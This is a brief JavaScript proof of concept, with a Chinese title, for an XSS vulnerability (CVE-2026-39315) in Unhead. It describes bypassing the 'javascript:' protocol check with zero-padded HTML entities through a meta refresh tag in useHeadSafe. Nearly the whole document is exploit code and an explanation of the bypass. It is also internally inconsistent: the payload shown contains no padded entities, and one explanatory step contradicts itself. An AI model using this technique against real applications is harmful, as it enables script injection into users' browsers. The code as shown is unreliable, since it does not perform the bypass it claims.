CVE-2026-39315 Unhead HTML实体绕过导致XSS漏洞

// PoC for CVE-2026-39315 // The vulnerability bypasses the 'javascript:' protocol check using padded HTML entities. // The regex in unhead (vulnerable versions) has a digit cap. // We use a large number of leading zeros to exceed the cap. // The decoder skips it, so the check fails, but the browser executes it. const maliciousPayload = "javascript:alert('CVE-2026-39315_PoC')"; // Conceptual usage in a vulnerable Nuxt/Unhead application: // useHeadSafe({ // meta: [ // { httpEquiv: "refresh", content: maliciousPayload } // ] // }); // Explanation: // 1. Server-side check: 'javascript:...' does not start with 'javascript:' (because : is encoded and not decoded by the limited regex). // 2. Browser-side: Parses the entity, sees 'javascript:', and executes the alert. console.log("Payload generated: " + maliciousPayload);